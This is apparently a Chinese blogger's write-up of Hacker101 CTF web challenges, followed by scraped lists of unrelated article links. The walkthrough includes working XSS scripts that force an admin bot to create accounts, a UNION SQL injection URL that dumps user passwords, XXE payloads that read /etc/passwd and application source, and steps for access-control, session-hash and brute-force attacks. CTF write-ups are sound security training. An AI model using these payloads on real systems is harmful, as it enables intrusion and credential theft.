前言

Easy-Postbook

拿到功能有点多,先扫一遍目录

.Ds_Store没有啥东西,page是个静态页面

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1

自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

改成id的值1

提交获取flag

我们将自己的session的hash值放入md5中,发现MD5解码为3

因此将session值改为1和2的md5试试看

替换为1的md5,登录账号1,获取第二个flag

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

去查delete跟的hash参数,也是简单的数据经过md5加密的

因此肯定存在越权,登录另一个账号,删除账号1的文章

拿到第五个flag

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

那么修改id为1,拿到第六个flag

还有一个flag,捣鼓了下修改密码处,无果

整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个

最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

这类漏洞利用思路hint

Moderate-Ticketastic: Demo Instance

这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的

给了后台管理员登录admin/admin

前台有个反馈

反馈后,后台弹框,JavaScript成功执行

Moderate-Ticketastic: Live Instance

环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。

拿到创建test/test的请求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

来手写ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

尝试了下不行

中途有事耽搁了几天,重新申请了环境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

将请求内容放到title中,终于在测试环境中成功了

成功添加了test1/test

那么在正式题目环境中,尝试一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/

竟然登了进去了,找到第一个flag

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因

第二个flag在id=1处,使用sql的测试语句报错

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

这类漏洞利用思路hint

之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

Easy-Petshop Pro

进入题目分析下功能点,是个购物车功能

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

剩下2个flag没有思路,先扫一遍目录

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

同理爆破出弱口令key

拿到第二个flag

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag

最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

这类漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock

先扫一下目录发现有admin目录

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

接下来看看注释,说有个get-config

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

爆破到参数为data的时候为500.....

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url编码一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,说明成功了

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中

xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一个flag

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的

主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因

匹配值会进入next函数,但main.py里面没有next函数的定义

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

密码种子碰撞不会orz,暂时挖个坑

hacker101 CTF 学习记录(二)的更多相关文章

  1. Hacker101 CTF 学习记录(一)

    前言 苦力挖洞,靠运气赚点小钱.看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水 思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思 ...

  2. Material Calendar View 学习记录(二)

    Material Calendar View 学习记录(二) github link: material-calendarview; 在学习记录一中简单翻译了该开源项目的README.md文档.接下来 ...

  3. Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客

    ==他的博客应该不错,没有细看 Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客 http://blog.csdn.net/u012706811/article/det ...

  4. JavaScript学习记录二

    title: JavaScript学习记录二 toc: true date: 2018-09-13 10:14:53 --<JavaScript高级程序设计(第2版)>学习笔记 要多查阅M ...

  5. 2.VUE前端框架学习记录二

    VUE前端框架学习记录二:Vue核心基础2(完结)文字信息没办法描述清楚,主要看编码实战里面,有附带有一个完整可用的Html页面,有需要的同学到脑图里面自取.脑图地址http://naotu.baid ...

  6. Spring Boot学习记录(二)–thymeleaf模板

    自从来公司后都没用过jsp当界面渲染了,因为前后端分离不是很好,反而模板引擎用的比较多,thymeleaf最大的优势后缀为html,就是只需要浏览器就可以展现页面了,还有就是thymeleaf可以很好 ...

  7. 【java并发编程艺术学习】(四)第二章 java并发机制的底层实现原理 学习记录(二) synchronized

    章节介绍 本章节主要学习 Java SE 1.6 中为了减少获得锁 和 释放锁 时带来的性能消耗 而引入的偏向锁 和 轻量级锁,以及锁的存储结构 和 升级过程. synchronized实现同步的基础 ...

  8. SpringBoot学习记录(二)

    一. SpringBoot日志框架 SpringBoot:底层是Spring框架,Spring框架默认是用JCL(commons-logging): SpringBoot选用SLF4j和logback ...

  9. Spring学习记录(二)---容器和bean属性配置

    下载spring包,在eclipse搭建spring环境. 这步我在eclipse中无法导入包,看网上的: http://sishuok.(和谐)com/forum/blogPost/list/242 ...

随机推荐

  1. [算法入门]——深度优先搜索(DFS)

    深度优先搜索(DFS) 深度优先搜索叫DFS(Depth First Search).OK,那么什么是深度优先搜索呢?_? 样例: 举个例子,你在一个方格网络中,可以简单理解为我们的地图,要从A点到B ...

  2. ESLint 使用简介

    C 语言诞生之初,程序员编写的代码风格各异,在移植时会出现一些因为不严谨的代码段导致无法被编译器执行的问题.于是在 1979 年,一款叫 lint[1] 的程序被开发出来,能够通过扫描源代码检测潜在的 ...

  3. Golang笔记整理--One day

    题外话: 很早就有整理学习笔记的想法,今天将想法付诸于行动,将Golang相关知识系统整理一遍,此分类为Golang学习笔记,最近开始学习这门语言的同学可以参考. 一 第一个Go程序: hello.g ...

  4. 微信小程序WXML页面常用语法(讲解+示例)

    (一) WXML 是什么 官方说明:WXML(WeiXin Markup Language)是框架设计的一套标签语言,结合基础组件.事件系统,可以构建出页面的结构 在前面我们就已经提过,WXML,就可 ...

  5. app_error_weak.c, 108, Mesh assert at 0x0002EFFE (:0)

    在调试light_switch_server_nrf52840_xxAA_s140_7.0.1的时候出现<t:      10664>, app_error_weak.c,  108, M ...

  6. MySQL数据库中查询数据库表、字段总数量,查询数据总量

    最近要查询一些数据库的基本情况,由于以前用oracle数据库比较多,现在换了MySQL数据库,就整理了一部分语句记录下来. 1.查询数据库表数量 #查询MySQL服务中数据库表数据量 SELECT C ...

  7. count.exe 个人项目

    Github项目地址:https://github.com/bravedreamer/wordCount/tree/master/wc 一.题目描述: Word Count1. 实现一个简单而完整的软 ...

  8. HTTP基础--网页基础

    网页的组成: 网页可以分为三大部分---HTML,CSS和JavaScript.如果把网页比作一个人的话,HTML相当于骨架,JavaScript相当于肌肉,CSS相当于皮肤,三者结合起来才能形成一个 ...

  9. python格式化输出及大量案例

    python格式化输出符号及大量案例 1.格式化输出符号 python格式化输出符号 格式化符号 含义 %c 转化成字符 %r 优先使用repr()函数进行字符串转化 %s 转换成字符串,优先使用st ...

  10. Selenium的WebDriver API元素定位中的XPath和CSS

    元素的定位和操作是自动化测试的核心部分,其中操作又是建立在定位的基础上的. 浏览器的常规操作 import time from selenium import webdriver # 打开浏览器 dr ...